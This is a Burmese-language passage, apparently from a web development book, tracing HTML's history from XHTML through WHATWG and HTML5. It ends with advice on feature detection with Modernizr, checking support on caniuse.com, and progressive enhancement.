မာှရေှိိ နတဲ့ ပပဿနာတစ်ချို ့အိအကြာငး်ကုိြ ိဖောပ်ပခဲ့ပါတယ်။  Browser  ိတရွေဲ့အပပို ငအ်ဆိငုတ်ထီငွမ်ှုနဲ့   အများညီိ န
လို့  "ဤ"  ကုိြ  "ကြျွဲ"  ဖေတလ်ိုက်ြရေတဲ့အတက်ွြ၊  Data  Model  ပဖေစ်ရေမယ့်  HTML  ဟာ  Text  Document  ိတကုိွြ
Format လပုတ်ဲ့ Markup Language တစ်ခသုာသာ ပဖေစ်ခဲ့ရေပါတယ။်

ဒပီပဿနာိတွိ အကြာင့်  HTML4.0  ထွက်ြရေှိပပီးချနိ၊်  ၁၉၉၇  ခနုစ်ှ  ဒဇီငဘ်ာလမာှ  HTML  Working  Group  ကုိြ
W3C ကြ ဖေျက်ြသိမ်းလိုက်ြပါတယ်။ သိပမ်အကြာခငမ်ာှပဲ  W3C ကုိြဦးိဆာင်ိ နသူိတပွါဝငတ်ဲ့  Workshop တစ်ခကုိုြ
"Shaping the Future of HTML" ဆုိတဲ့ ိခါငး်စဉန်ဲ့ကြျငး်ပခဲအ့ကြပါတယ်။ ဒီ Workshop ရေဲ့ရေလဒက်ြ "HTML4
ဟာ ပပငဖ်ေို့မလယ်ွိတာ့ ဘးူ၊ ဒါိအကြာင့်  XML ကုိြအိပခခတံဲ့  Markup Language အသစ်တစ်မျို းကုိြဖေနတ်ီးရေမယ်"
ဆုိတဲ့ရေလဒကုိ်ြရေရေှိခဲ့အကြပါတယ်။

ဒါနဲပ့ဲ  ၁၉၉၈  ခနုစ်ှ  ဒဇီငဘ်ာလမာှ  HTML  Working  Group  ကုိြ  အသစ်ပပငဆ်ငဖ်ေွဲ့စညး်ခဲ့ပါတယ်။  ဒအီဖေွဲ့ကြ
XHTML  ပဖေစ်လာိစမယ့် ပိုမိုစနစ်ကြျတဲ့  HTML  မကဲွူြတစ်ခကုိုြ စတငဖ်ေနတ်းီခဲ့အကြပပီး ၂၀၀၁ ခနုစ်ှိရောက်ြတဲ့အခါ၊
အတိုငး်အတာ တစ်ခထု ိအသံုးတငွက်ြျယ်ခဲ့တဲ့ XHTML1.1 ကုိြ ိအကြပငာနိုငခ်ဲ့ပါတယ်။

XHTML ရေဲ့  ရေညရ်ေယ်ွချက်ြကြိကြာငး်မနွ်ိ ပမယ့် တစ်ကြယ့်ပပဿနာကြ Browser ိတပွါ။ Web Browser ိတကွြ
ိရေးသားထားတဲ့  HTML (သုိမ့ဟတု်) XHTML  ထမဲာှအမာှးပါရေင်  မာှးိနလို့ဆိုပပးီ  ပပဿနာရောှိလမ့ရေှိအကြပါဘးူ။
တစ်ချို ့  အမာှးိတကုိွြ  မသိချင်ိ ယာင်ိ ဆာင၊်  တစ်ချို ့အမာှးိတကုိွြ  အလိုအိလျှာက်ြပပငဆ်ငပ်ပးီ  အဆင်ိ ပပိအာင်
ိဖောပ်ပိပးလိုက်ြ ိလရ့ေှိပါတယ်။

ဒလီို  Browser  ိတကွြအမာှးခံိ တာ့  Document  ဖေနတ်းီသူိတကွြလညး်  အမာှးိတပွါဝငတ်ဲ့  Document  ိတွ
ဖေနတ်းီအကြပါတယ။် ကြိန့  Web ရေှိိ နတဲ့ Document အားလုံးရေဲ့  ၉၉% မာှ အနညး်ဆံုး အမာှးတစ်ခု ပါဝင်ိ နတယ်
လို့  ဆုိပါတယ်။ ဒီိ တာ့  W3C  ကြ ဘယ်လိုရေညရ်ေယ်ွချက်ြိတနွဲ့ပဲ   XHTML  ကုိြဖေနတ်းီထားပါိစ၊  ိရေးသားသူကြ
သတမ်တှခ်ျက်ြိတကုိွြ  မလိုက်ြနာရေငလ်ညး်  (Browser  ိတရွေဲ့  သက်ြညာှမှု အကြာင့်)  အလပုလ်ပု်ိ နမာှပပဲဖေစ်ပါတယ်။
HTML  မာှ  အမာှးများိနလို့  XHTML  နဲ့  ပပငဆ်ငဖ်ေို့ကကိြုးစားိပမယ့်  မထိိ ရောက်ြတဲ့သိဘာ  ပဖေစ်ိနတာပါ။   ဒီ
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ပပဿနာကုိြ  ိပဖေရေငှး်ဖေို့  W3C  ကြ ကကိြုးစားခဲ့ပါိသးတယ်။  XML  Document  ိတမွာှ  အမာှးိတပွါဝငလ်ာခဲ့ရေင်
Document  ကုိြမိဖောပ်ပပဲ  Error  Message  ိဖောပ်ပ ိပးရေမယ်လိုသ့တမ်တှခ်ဲ့ပါတယ်။  XHTML  ဟာ  XML
အိပခပပု  Markup Language  ပဖေစ်လို့  အမာှးတစ်စံုတစ်ရော ပါခဲ့ရေင်  Browser  ကြအ့ဲဒီ  Document  ကုိြမိဖောပ်ပပဲ
Error ိပးရေမယ်ဆုိတဲ့သိဘာပါပ။ဲ

ဒသီတမ်တှခ်ျက်ြကုိြဘယ်သူကြမှ မကကိြုက်ြအကြပါဘးူ။ လက်ြရေှိ Website အများစုမာှ အမာှးိတပွါဝင်ိ နတာပဖေစ်လို့ မာှး
တိုငး်သာ Error ပပရေမယ်ဆိုရေင ်ိဖောပ်ပစရော Document သိပက်ြျန်ိ တာမ့ာှမဟတုပ်ါဘးူ။ Developer ိတအွိနနဲ့ ကြ
လညး်  XHTML  ရေဲ့  ိကြာငး်ကွြက်ြိတကုိွြ နားလည်ိ ပမယ့် တစ်ခမုာှးတာနဲ့   Error  ပဖေစ်ရေမာှကုိြိတာ့  မလိုလားပါ
ဘးူ။  ဒါနဲပ့ဲ  ဒီိ အကြပငာချက်ြလညး်  ိအကြပငာချက်ြ  သက်ြသက်ြပဖေစ်သွားပပးီ  Browser  ိတကွြိတာ့  ကြိနအ့ချနိထ်ိ
Markup Structure  အမာှးရေှိခဲ့ရေင်  မသိချင်ိ ယာင်ိ ဆာငသ်င့်တာိဆာင၊်  အလိုအိလျာက်ြပပုပပငသ်င့်တာပပုပပငပ်ပးီ
အဆင်ိ ပပိအာင်  ိဖောပ်ပိနဆဲပဲ  ပဖေစ်ပါတယ်။ ဒီိ တာ့  XHTML  ရေဲ့  ရေညရ်ေယ်ွချက်ြလညး် အချနိအ်ကြာလာတာနဲ့အမျှ
ထငသ်ိလာက်ြမထ ိိရောက်ြိတာပ့ ဲပဖေစ်လာရေပါတယ်။

၂၀၀၄ ခနုစ်ှ ဇွနလ်မာှ  W3C ကြ "Web Apps and Compound Documents"  ိခါငး်စဉန်ဲ့ အပခား  Workshop
တစ်ခကုိုြကြျငး်ပခဲ့ပပနပ်ါတယ်။ ဒီ  Workshop  မာှ  Opera Software  ကြပညာရေငှတ်စ်ဦးပဖေစ်တဲ့  Ian Hickson (ဒီ
စာိရေး ိနချနိမ်ာှိတာ ့Google မာှ အလပုလ်ပု်ိ နပါပပီ) ကြ ိမးခနွး်တစ်ခကုိုြိမးခဲ့ပါတယ်။

"Web App ိတမွာှလိုအပ်ိ လရ့ေှိတဲ့ အိပခခလံပု်ိ ဆာငခ်ျက်ြများကုိြ  HTML, CSS နဲ့  JavaScript  တို့ရေဲ့  ပဖေည့်စွက်ြ
နညး်ပညာများအပဖေစ ်Web Standard ထမဲာှ W3C ကြ ထည့်သွငး်ိပးရေနသ်င့မ်သင့်"

- ဆုိတဲ့ိ မးခနွ်းပဖေစ်ပါတယ်။

တနညး်အား Web App ိတမွာှလိုအပ်ိ လရ့ေှိတဲ့ လပု်ိ ဆာငခ်ျက်ြများကုိြ Developer ိတကွြ ကုိြယ့်နည်းကုိြယ့်ဟနန်ဲ့
တစ်ိယာက်ြတစ်မျို းလပု်ိ နရေိစမယ့်အစား  W3C  ကြ  Web Standard  ထဲမာှ  တစ်ခါတညး်ထည့်သွင်း  သတမ်တှ်
ိပးဖေို့ တငပ်ပတဲ့အဆုိ ပဖေစ်ပါတယ်။  Ian Hickson  ရေဲ့အဆုိကုိြ ိထာက်ြခသူံများိပမယ့်  W3C ကြ၊ လက်ြရေှိ  HTML
Work  Group  ရေဲ့  ဖေွဲ့စညး်ပုံမာှ  ဒလီိုလပု်ိ ဆာငခ်ျက်ြမျို း  ိဆာငရ်ေက်ွြရေနမ်ပါဝငတ်ဲ့အတက်ွြ  မိဆာငရ်ေက်ွြနိုင်ိ သး
ိအကြာငး် ဆံုးပဖေတခ်ဲ့ပါတယ်။ လက်ြရေှိ  HTML Work Group  ဖေွဲ့စညး်ပုံကြသတမ်တှထ်ားတဲ့ ိဆာငရ်ေက်ွြရေနမ်ျားကိြု
ပိုမိုအာရံုစုိက်ြနိုငဖ်ေိုအ့တက်ွြလို့ဆုိပါတယ်။

W3C  ရေဲ့  ဆံုးပဖေတခ်ျက်ြကုိြ  လက်ြမခနံိုငတ်ဲ့အတက်ွြ  Ian  Hickson  ရေဲ့အဆုိကိြု  ိထာက်ြခအံားိပးသူများကြ
WHATWG လို့ ိခါ်တဲ့ သီးပခားအဖေွဲအစညး်တစ်ရေပကုိ်ြ အ့ဲဒီ ၂၀၀၄ ခနုစ်ှ ဇွနလ်ထမဲာှပဲ ပးူိပါငး်တည်ိ ထာငခ်ဲ့အကြပါ
တယ်။
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13.1 - WHATWG
The Web Hypertext Application Technology Working Group  ကုိြ  အတိုိ ကြာက်ြိခါ်တဲ့  WHATWG
ဟာ Web Technology ကုိြ အထးူစိတဝ်ငစ်ားသူပညာရေငှမ်ျားနဲ့ ဖေွဲ့စညး်ထားတဲ့ လပွလ်ပတ်ဲ့အဖေွဲ့အစညး်တစ်ရေပပ်ဖေစ်
ပါတယ်။  Apple, Mozilla, Opera, Google  စတဲ့အဖေွဲ့အစည်းများ  (အထးူသပဖေင့်၊  Web Browser  ထုတလ်ပုသူ်
များ)  ကြ  ပညာရေငှမ်ျား  ပါဝငပ်ပးီ  ဖေတိအ်ကြားခရံေသူများသာ  "Member"  ပဖေစ်နိုငတ်ဲ့  အဖေွဲ့ငယ်တစ်ခပုဖေစ်ပါတယ်။
"Contributor" အိနနဲ့ိ တာ့ မညသူ် မဆုိ လွပလ်ပစွ်ာပါဝငန်ိုငပ်ါတယ်။ ဒါိပမယ့် Member ပဖေစ်မသှာ ိဆာငရ်ေက်ွြ
ိနတဲ့ နညး်ပညာများကိြ ုပါဝငပ်ပငဆ်ငခ်ငွ့ရ်ေမာှ ပဖေစ်ပါတယ။်

WHATWG ရေဲ့ရေညရ်ေယ်ွချက်ြကြိတာ့ Web Standard မာှ ပါဝငသ်င့်တဲ့ ပဖေည့်စွက်ြလပု်ိ ဆာငခ်ျက်ြများကုိြ ိဆွးိနးွ
တိုငပ်ငပ်ပးီ နညး်ပညာ Specification များအပဖေစ် ိရေးသားဖေနတ်းီဖေို့ပဲ ပဖေစ်ပါတယ်။ ရေရေှိလာတဲ့ Spec များကုိြ W3C
ထံ တငပ်ပပခငး်အားပဖေင့်  တရေားဝင်  Standard  များပဖေစ်လာိစဖေို့လညး်ရေညရ်ေယ်ွပါတယ်။  Web Developer  များရေဲ့
အကြုံိတွ့ိန အကြ ပပဿနာများိပါ် အိပခခထံားတဲ့ ိတာငး်ဆိုချက်ြများကုိြ အိလးိပးနားိထာငပ်ပးီ၊ ဒပီပဿနာိတွ
ကုိြ ထပခ်ါထပခ်ါ၊ တစ်ိယာက်ြတစ်မျို း ိပဖေရေငှး်ိနဖေို့မလိုိ တာ့ိ အာင်  Standard  များသတမ်တှပ်ပးီ ိပဖေရေငှး်ိပးနိုငဖ်ေို့
အဓကိြရေညရ်ေယွ ်ဖေွဲ့စညး် ထားတဲ့အဖေွဲ့အစညး်တစ်ရေပပ်ါ။ 

WHATWG  ကြိရေးသားဖေနတ်းီထားတဲ့  Spec  ိတထွမဲာှ  အဓကိြအကြျဆံုးကြိတာ့  Web  Forms  2.0  နဲ့  Web
Applications  1.0  လို့အမည်ိ ပးထားတဲ့   Spec  နစ်ှခပုဖေစ်ပါတယ်။  ဒီ  Spec  နစ်ှခဟုာ  HTML5  ရေဲ့အစပပဲဖေစ်ပါ
တယ်။

ဒလီိုနဲ့  အချနိက်ြာလ  (၂)  နစ်ှခွဲခန့်အကြာတဲ့အထိ  W3C  ကြ  XHTML  ိပါ်မာှပအဲာရံုစုိက်ြိနပပးီ၊  WHATWG  ကြ
HTML ကုိြ လုပ်ိ ဆာငခ်ျက်ြသစ်များပဖေည့်စွက်ြဖေို့ ကုိြယ်စအီာရံုစုိက်ြခဲ့အကြပါတယ်။ ၂၀၀၆ ခနုစ်ှကုိြိရောက်ြလာတဲ့အခါမာှ
ိတာ့ အိပခအိန ကြ ပမငသ်ာလာခဲ့ပါတယ်။ W3C ရေဲ့  XHTML2 ကုိြ Browser ိတကွြ Support မလပုအ်ကြပါဘးူ။
WHATWG ရေဲ့  ပဖေည့်စွက်ြနည်းပညာိတကွြိတာ ့Browser ိတမွာှပါဝင်သံုးပပုနိုင်ိ နပါပပ။ီ

၂၀၀၆ ခနုစ်ှ  ိအာက်ြတိုဘာလမာှ၊  W3C  ကုိြ  တည်ိ ထာငခ်ဲ့တဲ့  Tim Berners-Lee  ကုိြယ်တိုငက်ြ  "HTML  ကုိြ
အသစ် တစ်ခနုဲ့  အစားထိုးဖေို့ကကိြုးစားပခငး်ဟာ လက်ြိတွ့အလပုမ်ပဖေစ်ပဲ လက်ြရေှိ   HTML ကုိြပအဲဆင့လ်ိုက်ြ တုိးပမငှ့်
သွားပခငး်  (incremental improvements)  ကြ ပိုပပးီလက်ြိတွ့ကြျတယ်"  လ့ုိ  သိဘာရေတဲ့အဆုိတစ်ခကုိုြ  ိအကြပငာ
ချက်ြတစ်ခမုာှ ိဖောပ်ပခဲ့ပါတယ်။ ပပးီိတာ၊့  HTML Working Group  အသစ်တစ်ခကုြိုလညး် ပပနလ်ညဖ်ေွဲ့စညး်ခဲ့ပါ
တယ်။

W3C ရေဲ့  HTML Working Group အသစ်ကြ ပထမဆံုးိဆာငရ်ေက်ွြခဲ့တဲ့ လုပ်ိ ဆာငခ်ျက်ြကြိတာ့ WHATWG ရေဲ့
Web  Applications  1.0  ကုိြ  လက်ြခပံပးီ  HTML5  လ့ုိအမည်ိ ပပာငး်လိုက်ြပခငး်ပပဲဖေစ်ပါတယ။်  တနညး်အားပဖေင့်
W3C နဲ့ WHATWG တို့ပးူိပါငး်လိုက်ြအကြပခငး်ပဖေစ်ပါတယ်။ ဒကိီြစ္စ တကုိွြအစပပုိစခဲ့သူ Ian Hickson ဟာလညး်
HTML5 ရေဲ့  Editor တစ်ဦးပဖေစ်လာခဲ့ပါတယ်။
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၂၀၀၈ခနုစ်ှ  ဇနန်ဝါရေမီာှ  HTML5  ကုိြ  ိဆာငရ်ေက်ွြိနပပးီပဖေစ်ိ အကြာငး်  အများသိိအာငစ်တင်ိ အကြပငာခဲ့ပါတယ်။ တ
နညး်အားပဖေင့်  HTML5 ဆုိတဲ့အမညန်ဲ့  Web Standard  တစ်ခု စတငအ်သက်ြဝငလ်ာခဲ့ပခငး်ပဖေစ်ပါတယ်။ ဒါိပမယ့်
အ့ဲဒီအချနိမ်တိုငခ်ငက်ြတညး်ကြ  HTML5  မာှပါဝငလ်ာမယ့် လပု်ိ ဆာငခ်ျက်ြအချို ့ကုိြ   Browser  ိတကွြ ကကိြုတင်
ထည့်သွငး် ိပးနငှ့်ိ နပါပပ။ီ Browser Support ိတ ွအားိကြာငး်သထက်ြ ိကြာငး်လာပပပီဖေစ်တဲ့ ၂၀၁၀ ခနုစ်ှိရောက်ြ
တဲ့အခါမာှိတာ့  Developer  ိတအွအကြား  HTML5  ရေယ်လို့ တွငတ်ငွက်ြျယ်ကြျယ် စတငအ်သံုးပပုလာခဲ့အကြပပပီဖေစ်ပါ
တယ်။

ဇာတလ်မး်ကြ ဒမီာှပပးီသွားရေမာှပဖေစ်ိပမယ့်မပပီးိသးပါဘးူ။

13.2 - Separation of W3C and WHATWG
WHATWG  ရေဲ့  Spec  များိရေးသားတဲ့ပုံစံကုိြ  Living Standard  လ့ုိိခါ်ပါတယ်။ ပဖေည့်စွက်ြဖေို့တငပ်ပလာတဲ့ နညး်
ပညာများကုိြ စမး်စစပ်ပးီ ပဖေည့်စွက်ြသင့်ရေငတ်စ်ခါတညး်ပဖေည့်စွကြပ်ါတယ်။ ိနာက်ြ Version မှ ထည့်မယ်ဆိတုာမျို း မ
ရေှိပါဘးူ။  လက်ြိတွ့  အသုံးမဝငတ်ဲ့အချက်ြိတကုိွြလညး်  ပပနလ်ည်  ဖေယ်ထတုသ်င့်ရေင်  ချက်ြပခငး်ဖေယ်ထတုပ်ါတယ်။
ိနာက်ြ  Version  ကြျမပှဖေုတမ်ယ် ဆုိတာမျို းမရေှိပါဘူး။  Browser  ထုတလ်ပုသူ်ိတကွြ  WHATWG Spec  ိတကုိွြ
အကြည့်ပပးီ  Support လပုသ်င့်တယ်လို့ယူဆ တဲ့ Feature များကုိြ အမှလီိုက်ြပပးီ Support လပုအ်ကြပါတယ်။ HTML5
ထက်ွြလာမှ  Support  လပုမ်ယ်၊  HTML6  ထွက်ြလာမှ  Support  လုပမ်ယ်  စသပဖေင့်ိ စာင့်ိ နစရောမလိုပါဘးူ။  ဒါ
ိအကြာင့်  WHATWG  ကြ အဆက်ြမပပတ် ပဖေည့်စွက်ြပပင် ဆင်ိ နသမျှကုိြ  Browser  ိတ ွကြလညး် မှီိ အာငလ်ိုက်ြပပးီ
Support  လပုအ်ကြပါတယ်။ ဒီိ တာ့  နညး်ပညာသစ်ိတကုိွြ အသံုးချခငွ့်ရေဖေို့  အချနိ်အအကြာကကီြး ိစာင့်ိ နဖေို့မလိုိ တာပ့ါ
ဘးူ။ 

WHATWG  မာှပါဝငအ်ကြသူိတကွြ  HTML5  ကုိြလညး်  ဒနီညး်အတိုငး်ဆက်ြသွားချငပ်ါတယ်။  လက်ြရေှိမာှလညး်
Living Standard  စနစ်ကြ ိအာငပ်မငမ်ှု တရွေရေှိိ နပါတယ်။ ဒါိအကြာင့်  ၂၀၁၁ ခနုစ်ှ  ဇနန်ဝါရေလီမာှ  HTML5  ကုိြ
ိနာက်ြကြ  Version  နပံါတပ်ဖေုတပ်ပးီ  HTML  လ့ုိပဲ  WHATWG  အဖေွဲ့ကြ အမည်ိ ပပာငး်လဲိ ခါ်ဆုိခဲ့ပါတယ။်  စဉ်
ဆက်ြမပပတ် ပဖေည့်စွက်ြ ပပငဆ်ငသွ်ားမာှ ပဖေစ်လို့ နပံါတစ်ဉတ်ပပ်ပးီိခါ်ိနဖေို့ မလိုိ တာဘ့းူဆုိတဲ့သိဘာပဖေစ်ပါတယ်။

ဒစီနစ်ကုိြ W3C ကြလက်ြမခပံါဘးူ။ ပုံမနှန်ညး်လမး်အတိုင်း HTML5 ကုိြ Version တစ်ခအုိနနဲ့ယူဆပပီး ပါဝငမ်ယ့်
လပု်ိ ဆာငခ်ျက်ြိတကုိွြ တိတကိြျကြျသတထ်ားချငပ်ါတယ်။ သတမ်တှခ်ျက်ြထမဲာှမပါဝငတ်ဲ့  ပဖေည့်စွက်ြချက်ြများ ရေှိလာ
ရေင်  ိနာက်ြ  Version  သစ်တစ်ခအုပဖေစ်  သီးပခားသွားိစချငပ်ါတယ်။  လက်ြရေှိမာှလညး်  HTML5  ရေဲ့  Candidate
Recommendation အဆင့်ကုိြ ၂၀၁၂ ခနုစ်ှ ဒဇီငဘ်ာမာှလက်ြစသတခ်ဲ့ပပးီပဖေစ်ပါတယ်။ ၂၀၁၄ ခနုစ်ှကုြနမ်ာှ HTML5
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ကုိြ ိနာက်ြဆံုး Final အိနနဲ့အပပီးသတလ်ိုက်ြဖေို့ စီမံ ထားပပးီပဖေစ်ပါတယ်။ ပဖေည့်စွက်ြချက်ြိတပွါဝငတ်ဲ့ HTML5.1 ကုိြ
၂၀၀၆ ခနုစ်ှကုြနမ်ာှ လက်ြစသတဖ်ေို့လညး် ကကိြုတငပ်ပငဆ်ငထ်ားပါတယ်။

ဒလီိုနဲ့ W3C နဲ့ WHATWG တို့ ဒအီချက်ြိပါ်မာှ သိဘာတညူမီှုမရေအကြိတာပ့ါဘးူ။ ဒါိအကြာင့် ၂၀၁၂  ခနုစ်ှ ဂျူလိုင်
လမာှ  ဒနီစ်ှဖေွဲ့  ပပနလ်ညခ်ွဲခာွခဲ့အကြပပနပ်ါတယ်။  Ian  Hickson  ကြလညး်  WHATWG  ရေဲ့လပုင်န်းများမာှ  ပိုမို
အာရံုစိက်ုြနိုငဖ်ေိုဆုိ့ပပးီ W3C HTML5 Editor ရောထးူကြိနဖေယ်ိ ပးလိုက်ြပါတယ်။ W3C ကြအပခား Editor များကုိြ
အစားထိုးတာဝန်ိ ပးခဲ့ပါ တယ်။

လက်ြရေှိအချနိမ်ာှ  W3C  ကြ  HTML5  ကုိြ  သတမ်တှအ်စအီစဉ်အတိုငး်  ဆက်ြလက်ြိဆာငရ်ေက်ွြိနပပးီ  WHATWG
ကြိတာ့  Living Standard  ပုံစံုနဲ့  နညး်ပညာသစ်များ တထီငွထ်ည့်သွင်းိနပါတယ်။ အဖေွဲ့နှစ်ခပုဖေစ်ိနိပမယ့် သိပ်
ိတာလ့ညး်စိတပ်စူရော  မရေှိပါဘူး။  လက်ြိတမွာှ  W3C  ကြသာ  Standard  Body  ပဖေစ်လို့  အိပခခအံားပဖေင့်  သူရ့ေဲ့
သတမ်တှခ်ျက်ြများကြသာ  Industry  တစ်ခလုုံးအတက်ွြ အတညပ်ဖေစ်မာှပါ။  WHATWG  ကြိတာ့  နညး်ပညာသစ်
များကုိြ လပွလ်ပတ်ဲ့အဖေွဲ့အစည်းအပဖေစ် တထီငွဖ်ေနတ်းီပပးီ  W3C ကုိြ တနွး်အားိပးိနတဲ့အတက်ွြ Web Technology
ဖေွံ့ ပဖေို းမှုကုိြ အိထာက်ြအပံ့ပဖေစ်ိစမာှပါ။  WHATWG  ရေဲ့ဖေနတ်းီမှု များနဲန့ညး်စနစ်များကြ ပိုထိိရောက်ြပပးီပိုလက်ြိတွ့
ကြျိနတယ်ဆုိရေင်   W3C  ကြလညး်ပငငး်မာှမဟတု်  ပါဘးူ။  Standard  အပဖေစ် အသိအမတှပ်ပုလက်ြခံိ ပးမာှပပဲဖေစ်ပါ
တယ်။

13.3 - Should I Use HTML5 Now?
၂၀၁၄ ခနုစ်ှ၊ ိအာက်ြတိုဘာလမာှ W3C ကြ HTML5 Standard ကုိြ အပပီးသတ်ိ အကြပငာခဲ့ပပပီဖေစ်ပါတယ်။ ဒါိပမယ့်
Web  Browser  အားလုံးကြ  HTML5  လုပ်ိ ဆာငခ်ျက်ြိတအွားလုံးကုိြ  Support  လပုန်ိုငဖ်ေို့ကြိုိ တာ့  အချနိ်
အတိုငး်အတာတစ်ခု  ိစာင့်အကြရေဦးမာှပဖေစ်ပါတယ်။  လက်ြရေှိမာှ  လသံုူးအများဆံုး  Browser  ိတပွဖေစ်တဲ့  Google
Chrome  နဲ့  Mozilla  Firefox  တို့ကြ  HTML5  လုပ်ိ ဆာငခ်ျက်ြအများစုကုိြ  Support  လပု်ိ နအကြပပပီဖေစ်ိပမယ့်၊
Support မလပုန်ိုင်ိ သးတဲ့ လပု်ိ ဆာငခ်ျက်ြ အချို ့လညး် ကြျန်ိ နပါိသးတယ။်

ဒါိအကြာင့် HTML5 နညး်ပညာိတကုိွြအသံုးပပုတဲ့အခါ အခလုို နညး်လမး်(၃) မျို းနဲ့ ချညး်ကြပအ်သုံးပပုအကြရေမာှ ပဖေစ်
ပါတယ်။

၁.) Feature Detection
ပထမနညး်လမး်ကြိတာ့  Feature Detection  ပဖေစ်ပါတယ်။ အသံုးပပုလိုတဲ့  HTML5 Feature  ိတကုိွြ  Browser
ကြ  Support  လပုမ်လပု်  စစ်ိဆးလို့ရေတဲ့  JavaScript Tool  ိတကုိွြ အသံုးပပုရေမာှပဖေစ်ပါတယ်။ အ့ဲဒီ  Tool  ိတနွဲ့
စစ်ိဆးပပးီ  Browser  ကြ  Support  လုပရ်ေင်  HTML5 Feautre  ကုိြသံုးပပးီ  Support  မလပုရ်ေင်ိ တာ့  လိုချငတ်ဲ့
လပု်ိ ဆာငခ်ျက်ြကုိြ ကုိြယ်တိုင်ိ ရေးသားသတမ်တှ်ိ ပးရေမာှပါ။  Feature Detect Tools  ိတထွမဲာှ လသိူများထငရ်ောှး
တာကြိတာ ့Modernizr ပ ဲပဖေစ်ပါတယ်။

Modernizr ဟာ  HTML5 Support  မလပုတ်ဲ့  Internet Explorer 8  က့ဲြသုိ့ိ သာ  Browser  အိဟာငး်ိတမွာှ
<header>, <footer>, <aside>, <nav> စတဲ့  HTML5  Semantic  Layout  Element  ိတကုိွြ
အသံုးပပု  လ့ုိရေိအာင်ိ ဆာငရ်ေက်ွြိပးတဲ့  JavaSccript  နညး်ပညာ  တစ်ခပုဖေစ်ပါတယ်။  modernizr.com ကြိန

http://modernizr.com/
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Download လပုယူ် နိုငပ်ါတယ်။ Download ရေယူထားတဲ့ဖေိုငကုိ်ြ <script> Element နဲ့ ချတိဆ်က်ြိပးလိုက်ြယုံ
နဲ့၊ ဘာမထှပမ်ံိ ရေးသားဖေို့ မလိုပဲ  HTML5 Support  မလပုတ်ဲ့  Browser  အိဟာငး်ိတမွာှ  HTML5 Semantic
Layout Element ိတကုိွြ စတင ်အသံုးပပုလို့ ရေသွားမာှပဖေစ်ပါတယ်။

<script src="js/modernizr.min.js"></script>

အသံုးပပုလိုတဲ့ HTML5 Feature ကုိြ Browser ကြ Support လုပမ်လပုကုိ်ြလညး် Modernizr နဲ့ပဲ စစ်ိဆးနိုငပ်ါ
တယ်။ ဥပမာ - 

<input type="date" id="dob">
<script>
  if( !Modernizr.inputtypes.date ) {
    $("#dob").datepicker();
  }
</script>

HTML5 Date Input ကုိြ Support လုပတ်ဲ့ Browser မာှဆုိရေင် <input type="date"> ိနရောမာှ Date ိရေးွ
လို့ ရေတဲ့ Pop-Up Calendar ကုိြ  Browser  ကြ ိဖောပ်ပိပးသွားမာှပဖေစ်ပါတယ်။ Support  မလပုတ်ဲ့  Browser ိတွ
ကြိတာ့  Date  Input  ကုိြနားမလညလ်ို့  ရုိးရုိး  Text  Box  တစ်ခအုိနနဲ့ပဲိ ဖောပ်ပိပးမာှပဖေစ်ပါတယ်။  ဒါိအကြာင့်
Modernizr ရေဲ့  Modernizr.inputtypes.date ကုိြသံုးပပးီ လက်ြရေှိ Browser ကြ Date Input ကုိြ Support
လပုမ်လပုစ်စ်ိဆး ထားပါတယ်။ Support မလပုရ်ေင် jQuery UI Datepicker ကုိြ အစားထိုးအသံုးပပုဖေို့ သတမ်တှ်
ထားပခငး်ပဖေစ်ပါတယ်။

ဒလီိုအလပုရ်ှုပခ်ပံပီး စစ်မိနပဲ jQuery UI Datepicker ကုိြပဲ တိုက်ြရုိက်ြသံုးပပးီ ိရေးလိုက်ြလညး်ရေတာပါပ။ဲ ဒါိပမယ့်
HTML5 Date Input ကြိပးတဲ့ Datepicker ကြ Browser Native ပဖေစ်လို့  Performance ပိုငး်မာှ  jQuery UI
Datepicker  ထက်ြ ပိုမိုိ ကြာငး်မနွမ်ာှပဖေစ်ပါတယ်။ အထးူသပဖေင့်  Mobile  နဲ့  Touch Device  ိတမွာှဆုိရေင် အများ
ကကီြး သိသာိစမာှပါ။

ဒနီညး်နဲ ့အပခား HTML5 Feature ိတကုိွြ Browser ကြ Support လုပမ်လပုစ်စ်ိဆးအသံုးပပုနိုငပ်ါတယ်။

၂.) Browser Support Check
HTML5 Feature ိတရွေဲ့  လက်ြရေှိ Browser Support အိပခအိနကုိြ caniuse.com (Can I Use) မာှ စစ်ိဆးနိုင်
ပါ တယ်။ သူိဖောပ်ပတဲ့ ရေလဒကုိ်ြအကြည့်ပပးီ မမိအိသံုးပပုလိုတဲ့ Feature ရေဲ့  Browser Support အိပခအိနကြ လက်ြခံ
နိုင် ိလာက်ြတဲ့ အိပခအိနဟတုမ်ဟတု ်ဆံုးပဖေတန်ိုငမ်ာှပဖေစ်ပါတယ်။

http://caniuse.com/
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ပုံ (၁၃-ကြ) caniuse.com - Browser Support of CSS3 @font-face

ပုံ  (၁၃-ကြ) မာှ  caniuse.com ကုိြအသံုးပပုပပးီ  CSS3 Feature  ပဖေစ်တဲ့  @font-face ရေဲ့  Browser  Support
အိပခ အိန စစ်ိဆးထားတဲ့ရေလဒကုိ်ြ ိဖောပ်ပထားပါတယ်။ @font-face ဟာ HTML5 ဆက်ြစပန်ည်းပညာပဖေစ်
တဲ့ CSS3 Feature တစ်ခပုဖေစ်ပါတယ်။ ဒါိပမယ့် Browser အားလုံးနးီပါးမာှ Support လုပ်ိ နတာကုိြ ိတွ့ရေမာှပဖေစ်
ပါတယ်။  ဒါိအကြာင့် အသံုးပပုမယ်ဆုိရေင ်စိတခ်ျလက်ြချအသံုးပပုနိုင်ိ နပပပီဖေစ်တဲ့ Feature တစ်ခပုဖေစ်ပါတယ်။

၃.) Enhancements
HTML5 ကုိြ Enhance လ့ုိပဲ သိဘာထားမယ်ဆုိရေငလ်ညး် ထားနိုငပ်ါတယ်။  တနညး်အားပဖေင့်  Web App ိတကုိွြ
HTML5  နဲ့  အားပပုတည်ိ ဆာငပ်ခငး်မဟတုပ်ဲ   ိရေးရုိးိရေးစဉ်အတိုငး်  ိရေးသားပပီးတစ်ချို ့ိနရော  ိတမွာှသာ
HTML5  လုပ်ိ ဆာငခ်ျက်ြိတနွဲ့  Enhance  လပုလ်ိုက်ြတဲ့သိဘာပါ။  ဒီိ တာ့  Browser  ကြ  Support  မလပုရ်ေင်
လညး် App ကြ ပုံမနှအ်တိုငး်ပဲ အလပုလ်ပု်ိ နမာှပဖေစ်ပပးီ Support လပုခ်ဲ့ရေင်ိ တာ ့ပိုမိုပပည့်စံုသွားိစမာှပဖေစ်ပါတယ်။

ဥပမာ - <input type="text" name="fname" autofocus>

